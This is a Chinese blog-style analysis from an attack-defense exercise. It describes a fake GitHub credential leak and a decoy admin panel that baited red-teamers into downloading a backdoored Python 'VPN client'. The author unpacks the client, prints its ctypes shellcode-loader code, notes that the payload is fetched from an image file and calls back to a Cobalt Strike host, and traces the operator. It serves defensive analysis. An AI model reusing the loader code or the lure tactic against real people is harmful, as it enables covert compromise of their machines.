在某次攻防演练信息收集的过程中,偶然发现伪装Github信息泄漏进而钓鱼红队人员的后门。
下面展开有趣的分析溯源过程。
信息收集
GIthub信息泄漏
根据<typo id="typo-85" data-origin="甲方" ignoretag="true">甲方</typo>信息进行
常规的Github敏感信息收集偶然发现一个仓库不简单
![](https://img.haomeiwen.com/i26545687/18c057f948c8c3a0.png)
这不是mysql账号密码泄漏了吗,愉快的打开Navicat
![](https://img.haomeiwen.com/i26545687/17504d5ad0bead72.png)
失败....于是访问源码的8080端口查看一番,发现一个管理后台
![](https://img.haomeiwen.com/i26545687/4dafa3504912c675.png)
弱口令
针对后台尝试一波弱口令,admin/admin 嗯~进来了
![](https://img.haomeiwen.com/i26545687/2a0d80e8958532dc.png)
进来之后竟然发现账号密码而且客户端解压密码都贴心<typo id="typo-250" data-origin="的" ignoretag="true">的</typo>放了出来
![](https://img.haomeiwen.com/i26545687/4dc79e7158560da0.png)
到这里我竟然没有察觉到任何异常,以为能够拿到VPN入口权限;抓紧下载VPN客户端。
解压出来这个样子,emmm。。还没发现异常
![](https://img.haomeiwen.com/i26545687/fa08f26e9869d075.png)
分析溯源
还好有谨慎的习惯,放入虚拟机瞅瞅。
哦豁,竟然提示不兼容当前系统;看到弹窗有Pyhton代码编写的特征。感觉到前面的打点由过于丝滑,不自然<typo id="typo-401" data-origin="的" ignoretag="true">的</typo>警觉了起来。
包括前面弱口令的提交方式竟然为admin.php?user=admin&passwd=admin
![](https://img.haomeiwen.com/i26545687/e651d8afc2ef01c3.png)
由于发现VPN客户端为python语言编写,更不对劲了,反编译看下。
【相关技术文档】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记
解包
python3 pyinstxtractor.py vpnclient64.exe
![](https://img.haomeiwen.com/i26545687/6ddad611c4712eb7.png)
生成一个以 exe文件名+_extracted 的文件夹,这个就是解包后的数据
![](https://img.haomeiwen.com/i26545687/0dc1f9f3ead4e917.png)
![](https://img.haomeiwen.com/i26545687/2ec21d87041e3636.png)
PyInstaller打包后,pyc文件的前8个字节会被抹掉,所以最后要自己添加回去。
添加头
根据struct.py文件
![](https://img.haomeiwen.com/i26545687/d4d818e5ed294330.png)
![](https://img.haomeiwen.com/i26545687/e04587d0cf52affe.png)
源码
得到py文件,easyvpn64.py为后门主程序,其中执行shellcode代码隐藏至图片中。
![](https://img.haomeiwen.com/i26545687/9efc4b11e1755826.png)
通过requests请求OSS存储中的图片,图片内容为shellcode加载器。
![](https://img.haomeiwen.com/i26545687/935965122ce9ab39.png)
shellcodeLoader部分
![](https://img.haomeiwen.com/i26545687/82babbc15e1734aa.png)
import base64
import ctypes
str = b''
sc_base64 = (base64.a85decode(str)).decode('utf-8')
shellcode = bytearray(bytearray.fromhex((base64.b64decode(sc_base64)).decode('utf-8')))
ptr = ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0),
ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
知道shellcodeloader加载方式就好办了,提取CS回连地址。
![](https://img.haomeiwen.com/i26545687/1ab325929c58c104.png)
溯源
回连地址:Host: cs.xxx.cn
nslookup解析地址
![](https://img.haomeiwen.com/i26545687/9eb22612eeb522a5.png)
根据IP地址定位在某宿舍
![](https://img.haomeiwen.com/i26545687/f8dfdf4e10710025.png)
直接溯源到人,tg结合一波。
![](https://img.haomeiwen.com/i26545687/71d7d6c87ce51929.png)
总结
在攻防演练过程中一定要小心,防止被钓鱼。
网友评论